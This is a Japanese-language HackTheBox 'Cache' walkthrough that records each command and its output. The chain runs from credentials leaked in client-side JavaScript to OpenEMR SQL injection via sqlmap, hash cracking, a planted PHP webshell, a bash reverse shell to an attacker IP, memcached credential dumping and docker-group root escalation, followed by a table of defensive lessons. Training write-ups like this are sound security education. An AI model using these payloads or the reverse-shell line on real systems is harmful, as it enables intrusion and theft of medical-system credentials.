HackTheBox: Cache — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (OpenEMR)
→
22/ssh, 80/http (OpenEMR)
functionality.js 漏洩
ash:H@v3_fun
→
ash:H@v3_fun
認証済みSQLi
eid= パラメータ, sqlmap
→
eid= パラメータ, sqlmap
bcryptクラック
openemr_admin:xxxxxx
→
openemr_admin:xxxxxx
webshell配置
manage_site_files.php
→
manage_site_files.php
ash シェル
user.txt ✓
→
user.txt ✓
Memcached 平文漏洩
luffy:0n3_p1ec3
→
luffy:0n3_p1ec3
docker グループ悪用
chroot /mnt
→
chroot /mnt
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.12.34
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 80/tcp open http Apache httpd 2.4.29 | http-title: OpenEMR Login |_Requested resource was interface/login/login.php?site=default |_http-server-header: Apache/2.4.29 (Ubuntu)
ℹ️
ルートの Web アプリはすでに OpenEMR(電子カルテ / Electronic Medical Record システム)
のログイン画面にリダイレクトされている。バージョンはまだ不明だが、後続のフッター調査で特定する。
Whatweb / 基本HTTP調査
BASH
curl -sI --max-time 10 http://10.129.12.34 whatweb -a 3 http://10.129.12.34
RESULT
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)
...
Title[Cache]
ℹ️
トップページ (login.html) のタイトルはマシン名と同じ “Cache”。ここから OpenEMR の
interface/login/login.php とは別に、静的なランディングページが存在することが分かる。
PHASE 2
情報漏洩調査 — functionality.js & hms.htb vhost の発見
login.html のクライアント側検証スクリプトを確認
BASH
curl -s --max-time 8 http://10.129.12.34/jquery/functionality.js
RESULT
function checkCorrectPassword(){
var Password = $("#password").val();
if(Password != 'H@v3_fun'){
alert("Password didn't Match");
error_correctPassword = true;
}
}
function checkCorrectUsername(){
var Username = $("#username").val();
if(Username != "ash"){
alert("Username didn't Match");
error_username = true;
}
}
🚨
重大な設計ミス: このランディングページのログインフォームは、正解のユーザー名/パスワードを
クライアント側JavaScriptに平文でハードコードして検証している。
ash : H@v3_fun という有効な資格情報がそのまま漏洩している。
Author ページから HMS プロジェクトへの言及を発見
NOTE
トップページ内の "Author" セクションに、開発者が過去に手掛けたプロジェクトとして "HMS (Hospital Management System)" という記述がある。これは OpenEMR ベースの 医療機関向けカルテシステムの通称であり、別 vhost で稼働している可能性を示唆する。 /etc/hosts に以下を追加: 10.129.12.34 hms.htb
BASH
echo "10.129.12.34 hms.htb" | sudo tee -a /etc/hosts curl -s http://hms.htb/ | head -30
RESULT
<title>OpenEMR</title> ... Copyright (c) 2018 OpenEMR ...
ℹ️
vhost
hms.htb を追加すると OpenEMR インスタンスが姿を現す。フッターのコピーライト表記
(2018年) から、OpenEMR 5.0.1.x 系(2018年リリース)であると推定できる。
PHASE 3
OpenEMR 5.0.1.3 認証済みSQLi → openemr_admin ハッシュ奪取
既知脆弱性: add_edit_event_user.php の未サニタイズ eid パラメータ
NOTE
OpenEMR 5.0.1.3 以前は、Project Insecurity のレポートで報告された通り portal/add_edit_event_user.php の "eid" 等のパラメータが add_escape_custom() (mysqli_real_escape_string ラッパー) でエスケープされずに SQL クエリへ 連結されており、SQLi に対して脆弱(5.0.1.4 で全パラメータがエスケープされ修正済み)。 ただし portal 配下の大半のページは通常アクセスすると index.php へリダイレクトされる。 0xdf のウォークスルーで報告されている既知バグとして、 /portal/account/register.php へ一度アクセスすると、その PHPSESSID が約10分間「ログイン済み」として扱われる 認証バイパスが成立し、この bypass 済みセッションでのみ add_edit_event_user.php に到達できる。
認証バイパス用セッションの取得
BASH
curl -s -c cookies.txt http://hms.htb/portal/account/register.php cat cookies.txt | grep PHPSESSID
RESULT
PHPSESSID=72spm099qmflc7lqp3lqgcj6i8 (約10分間ログイン済み扱いとして有効)
sqlmap でハッシュをダンプ
BASH
# リクエストファイル (cache_sqli_req.txt) GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1 Host: hms.htb Cookie: PHPSESSID=72spm099qmflc7lqp3lqgcj6i8 Connection: close sqlmap -r cache_sqli_req.txt --batch --fresh-queries \ -D openemr -T users_secure -C username,password --dump
RESULT
Parameter: eid (GET)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: eid=1 AND EXTRACTVALUE(1362,CONCAT(0x5c,0x71786b6271,(SELECT (ELT(1362=1362,1))),0x716b787a71))
...
the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
Database: openemr
Table: users_secure
[1 entry]
+---------------+--------------------------------------------------------------+
| username | password |
+---------------+--------------------------------------------------------------+
| openemr_admin | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. |
+---------------+--------------------------------------------------------------+
✅
ハッシュ抽出成功。 エラーベース (EXTRACTVALUE) の SQLi で MySQL バージョンを確定した後、
UNION/エラーベースを組み合わせて
openemr.users_secure テーブルから
管理者アカウント openemr_admin の bcrypt ハッシュを取得。
john + rockyou.txt でハッシュをクラック
BASH
echo 'openemr_admin:$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.' > cache_openemr_admin.hash john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt cache_openemr_admin.hash john --show --format=bcrypt cache_openemr_admin.hash
RESULT
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
... (クラック実行、bcryptはコストが高く数分かかる)
openemr_admin:xxxxxx
1 password hash cracked, 0 left
✅
クラック成功:
openemr_admin の実パスワードは xxxxxx
(英小文字の “x” 6文字)。rockyou.txt に含まれる弱いパスワードだったため、bcrypt(コストファクタ05)でも
現実的な時間でクラックできた。
PHASE 4
OpenEMR管理画面ログイン → webshell配置 → user.txt
管理画面へログイン
BASH
# ブラウザ or requests.Session() で # http://hms.htb/interface/login/login.php にアクセスし # authUser=openemr_admin / clearPass=xxxxxx でPOST
RESULT
ログイン成功 — Calendar / Patient メニューが表示される管理画面に遷移
manage_site_files.php の既存ファイル編集機能で webshell を配置
NOTE
管理画面の "Files" メニュー(interface/super/manage_site_files.php)は、 サイトテンプレート配下の既存 PHP ファイルをブラウザから直接編集・保存できる 機能を持つ。以下のファイルを1行の webshell に書き換える: 対象ファイル: letter_templates/custom_pdf.php 書き換え後の内容: <?=`$_GET[0]`?> (PHPのバッククォート演算子 = shell_exec 相当。GETパラメータ "0" の値を そのままシェルコマンドとして実行し、標準出力を画面に返す)
RESULT
保存後、以下のURLで任意コマンド実行が可能になる:
http://hms.htb/sites/default/letter_templates/custom_pdf.php?0=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立。 www-data 権限でのコマンド実行が可能になった。
リバースシェルを起動
BASH
# ターミナル1: リスナー nc -lnvp 4444 # webshell経由でリバースシェルコマンドを送信 curl -s "http://hms.htb/sites/default/letter_templates/custom_pdf.php" \ --data-urlencode "0=bash -c 'bash -i >& /dev/tcp/10.10.15.200/4444 0>&1'" -G
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.12.34] 33858
www-data@cache:/var/www/hms.htb/public_html/sites/default/letter_templates$
TTY割り当て & su ash
NOTE
bash -i >&/dev/tcp/...で得たリバースシェルには制御端末(TTY)が 割り当てられていないため、suは "must be run from a terminal" で 即座に失敗する。python3 の pty モジュールで疑似端末を割り当てたシェルを 起動してから su を実行する必要がある。
BASH
www-data@cache:...$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@cache:...$ su ash
Password: H@v3_fun
ash@cache:~$ id
RESULT
uid=1000(ash) gid=1000(ash) groups=1000(ash)
⚠️
ハマりどころ: su の成否判定を
id 出力に "ash" という
部分文字列が含まれるかだけで判定すると、直前に叩いた
python3 -c "...pty.spawn('/bin/bash')" というコマンド文字列自体に
/bin/bash が含まれているため、リモート端末のバッファに残った
エコーテキストと偶然一致してsu失敗を誤って成功と判定してしまうことがある
(実際に自動化スクリプトでこの誤検知が発生した)。判定には
id 出力の uid=<番号>(ash) という厳密な形式でのマッチが安全。
user.txt 取得
BASH
ash@cache:~$ cat /home/ash/user.txt
RESULT
835c2a4fd659fd68457bf698d1521942
user.txt — ash@cache
835c2a4fd659fd68457bf698d1521942
PHASE 5
権限昇格の下調べ — Memcached (:11211) の認証なしアクセス
ローカルで稼働するMemcachedを発見
BASH
ash@cache:~$ ss -tlnp | grep 11211 ash@cache:~$ ps aux | grep memcached
RESULT
tcp LISTEN 0 128 127.0.0.1:11211 0.0.0.0:*
memcache ... /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1
🚨
Memcached はデフォルトで認証機能を持たないプロトコル。ローカルホストからは誰でも
nc でテキストプロトコルを喋りかけるだけで中身を読める。
格納キーの列挙 & 平文パスワードの取得
BASH
ash@cache:~$ printf 'stats cachedump 1 0\r\nget passwd\r\nquit\r\n' | nc -q1 127.0.0.1 11211
RESULT
ITEM link [21 b; 0 s] ITEM user [5 b; 0 s] ITEM passwd [9 b; 0 s] ITEM file [7 b; 0 s] ITEM account [.. b; 0 s] END VALUE passwd 0 9 0n3_p1ec3 END
✅
平文クレデンシャル漏洩。
stats cachedump 1 0 でスラブクラス1内の全キー名
(link/user/passwd/file/account) を列挙し、get passwd でその値を直接取得できる。
取得した値 0n3_p1ec3 は別ユーザー luffy のログインパスワードである。
⚠️
ハマりどころ (実装上の注意): PTY (cooked モード) 経由で nc の出力を読み取ると、
元のプロトコル上の
\r\n がさらにターミナル側で \r を追加され
\r\r\n という二重の並びになることがある。正規表現で
VALUE passwd \d+ \d+\r?\n(\rを高々1個だけ許容)のように厳密に書くと
一致に失敗するため、\r*\n のように \r の個数を可変長で許容する必要がある。
su luffy → docker グループ所属を確認
BASH
ash@cache:~$ su luffy Password: 0n3_p1ec3 luffy@cache:~$ id
RESULT
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),110(docker)
🚨
重大発見:
luffy は docker グループのメンバー。
docker デーモンのソケットに直接アクセスできるため、SUIDバイナリのような明示的な脆弱性がなくとも
ホストの root と同等の権限を得られる(docker グループ = root 相当という
よく知られた設計上のリスク)。
PHASE 6
docker グループ悪用 → ホストファイルシステム直接アクセス → root.txt
ホストの / をコンテナにマウントして chroot
NOTE
docker グループに所属していれば、-v でホストの任意ディレクトリ(ここではルート "/")を 新規コンテナ内にマウントし、コンテナ内から chroot することで、コンテナの隔離を経由して ホスト側のファイルシステムへ root 権限で直接アクセスできる。 (対話シェルを得た上で passwd 変更する、あるいは直接ファイルを読む、のどちらも可能。 ここでは対話操作なしで root.txt を直接 cat する方法を使う)
BASH
luffy@cache:~$ docker run -v /:/mnt --rm -i ubuntu chroot /mnt cat /root/root.txt
RESULT
4a117383a44643f3bb0fe209c46675c5
root.txt — 経由: docker run –rm -i ubuntu chroot /mnt
4a117383a44643f3bb0fe209c46675c5
ℹ️
--rm でコンテナは実行後に自動削除され、-i で標準入力を保持したまま
1コマンドだけ実行して終了する。対話的なシェル(chroot /mnt sh)を得てから
passwd でrootパスワードを変更する手法も可能だが、フラグを読むだけであれば
chroot /mnt cat /root/root.txt を docker コマンドの引数に直接渡す方が
対話操作なしで一発で完結し、確実。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ash@cache
835c2a4fd659fd68457bf698d1521942
root.txt — Administrator権限相当 (docker グループ悪用)
4a117383a44643f3bb0fe209c46675c5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| クライアント側検証への平文クレデンシャル埋め込み | login.html / jquery/functionality.js | 資格情報漏洩 | Medium | JSファイルを直接取得し ash:H@v3_fun を回収 |
| OpenEMR 5.0.1.3 認証済みSQLi | portal/add_edit_event_user.php ?eid= | 管理者bcryptハッシュの奪取 | Critical | register.php 経由の認証バイパスセッション + sqlmap でエラーベース抽出 |
| 管理画面のファイル編集機能によるRCE | interface/super/manage_site_files.php | www-data 権限でのリモートコード実行 | Critical | 既存PHPテンプレートをワンライナーwebshellに書き換え |
| Memcached 認証なしアクセス | 127.0.0.1:11211 | 平文クレデンシャル漏洩 | High | stats cachedump / get コマンドで luffy のパスワードを取得 |
| docker グループ = root相当の権限 | luffy ユーザーの docker グループ所属 | ホストファイルシステムへのroot権限アクセス | Critical | docker run -v /:/mnt –rm -i ubuntu chroot /mnt でホストrootを直接操作 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + whatweb | 22/ssh, 80/http (OpenEMR) |
| 2 | 情報漏洩・vhost発見 | functionality.js 解析 + Author欄 → hms.htb | ash:H@v3_fun、OpenEMR 5.0.1.3判明 |
| 3 | SQLi | register.php認証バイパス + sqlmap | openemr_admin bcryptハッシュ → john でクラック (xxxxxx) |
| 4 | webshell RCE | manage_site_files.php ファイル書換 | user.txt 取得 (ash シェル経由) |
| 5 | 権限調査 | Memcached (:11211) 列挙 | luffy:0n3_p1ec3、docker グループ所属を確認 |
| 6 | docker悪用 | docker run -v /:/mnt –rm -i ubuntu chroot | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ログインフォームの正解値をクライアント側JavaScriptにハードコード | 認証判定は必ずサーバー側で行う。クライアント側検証はUX向上目的に留め、秘密情報を含めない。 |
| OpenEMR が既知のSQLi脆弱バージョン(5.0.1.3以前)のまま運用 | 医療系ソフトウェアなど機微情報を扱うシステムは特に迅速なパッチ適用を徹底する。WAFによる異常パラメータの検知も有効。 |
| 管理画面から任意の設置済みPHPファイルを直接編集できる機能が存在 | 本番環境では管理画面からのファイル書き込み機能を無効化するか、書き込み先ディレクトリの実行権限を剥奪する。 |
| Memcached に認証がなく、平文でパスワードをキャッシュしていた | Memcachedは信頼できないネットワークから遮断し(bind localhost + firewall)、機密情報をキャッシュに平文保存しない。SASL認証の利用も検討する。 |
| 一般ユーザーが docker グループに所属 (root権限と実質同等) | docker グループへの所属を必要最小限に絞る。rootless docker や、Podman等のより権限分離されたコンテナランタイムの採用を検討する。 |

